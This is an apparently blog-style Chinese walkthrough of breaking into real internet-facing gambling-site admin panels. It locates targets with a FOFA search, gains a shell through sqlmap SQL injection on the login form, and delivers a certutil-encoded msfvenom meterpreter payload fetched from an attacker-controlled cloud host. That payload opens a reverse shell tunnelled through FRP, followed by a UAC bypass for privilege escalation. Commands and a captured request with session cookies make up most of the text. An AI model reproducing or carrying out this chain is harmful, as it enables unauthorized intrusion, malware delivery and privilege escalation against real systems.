FRP+MSF+注入反弹shell

实验环境：

        XXX云ECS一台：x.x.x.x

        内网kali控制端：192.168.250.133

        外网注入后台win7主机：

操作步骤：

• 分别在XXX云ECS、内网kali控制端搭建frp

具体方法参见：

安装frp_叶孤心丶的博客-CSDN博客_frp安装

• 配置

1. 内网kali控制端配置 vi frpc.ini

1. XXX云ECS配置  vim frps.ini

• 启动FRP

1. 本地Kali linux 启动 FRP

./frpc -c ./frpc.ini

2、XXX云ECS启动FRP

./frps -c ./frps.ini

• msfvenom制作Windows木马程序

msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe >FRP.exe

 将FRP.exe文件进行base64编码，以便绕过边界设备的安全检测生成文件FRP.txt：

Certutil -encode FRP.exe FRP.txt

然后将FRP.txt传到阿里云服务器中，使之能够被远程访问

   注：SSH上传不成功，因此改为SFTP传输：sftp root@x.x.x.x

远程访问一下试试：http://X.X.X.X/FRP.txt

• 在kali中开始监听

msfconsole

 msf > use exploit/multi/handler

 msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

 payload => windows/meterpreter/reverse_tcp

 msf exploit(multi/handler) > set lhost 127.0.0.1   #设置监听ip，必须和frpc中的local_ip 一致

 lhost => 127.0.0.1

 msf exploit(multi/handler) > set lport 4444        #设置监听端口，与frpc中的local_port一致

 lport =>4444

 msf exploit(multi/handler) > exploit

• 寻找目标

FOFA搜索词：body="棋牌后台管理系统" && title=="后台登录"

• 制作SQL注入请求包，用SQLMAP获得得Shell

POST /Login/ValidateLogin HTTP/1.1

Host: 111.XX.XX.XX:8001

Content-Length: 30

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://111.XX.XX.XX:8001

Referer: http://111.XX.XX.XX:8001/Login/index

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6

Cookie: Hm_lvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1599407883; RYQIPAI=RYCacheKey=1&RYCacheKey_ETS=2020-09-07+00%3a28%3a17&VS=07a6f8746a60ecc3; ASP.NET_SessionId=udnrj5bxpuchvrf4fs4oute3; BT_PANEL_6=3a8e87d5-ad8a-4db2-9e57-c3a1684991e0._Tklm_sxRP6Gk0jcgXfEFwQVt9Y; Hm_lpvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1599429027

Connection: close

userName=123*&password=321

在注入处标上*，上方请求包内的请求头Host参数修改成你目标域名或IP:端口，然后直接扔sqlmap执行：

sqlmap -r post.txt --os-shell

即可获取交互shell

• 用win自带的certutil.exe下载msf生成的shell---FRP.txt 然后提权。

在shell中将FRP.txt下载到本机，并命为frp0.txt

certutil.exe -urlcache -split -f "https://X.X.X.X/FRP.txt" frp0.txt

等下载完成后，执行下面的命令将frp0.txt解码为exe文件：

certutil.exe -decode frp0.txt frp0.exe

在os-shell中运行frp0.exe

• KALI 本地获得反弹shell，提权

   在frp0.exe被执行后，可以看到前面MSF监听的获得下面的meterpreter会话

    重新打开一个msfconsole 在已经获得的会话中再执行提权

     use exploit/windows/local/bypassuac

   

  或者通过Eventvwr注册表项UAC保护绕过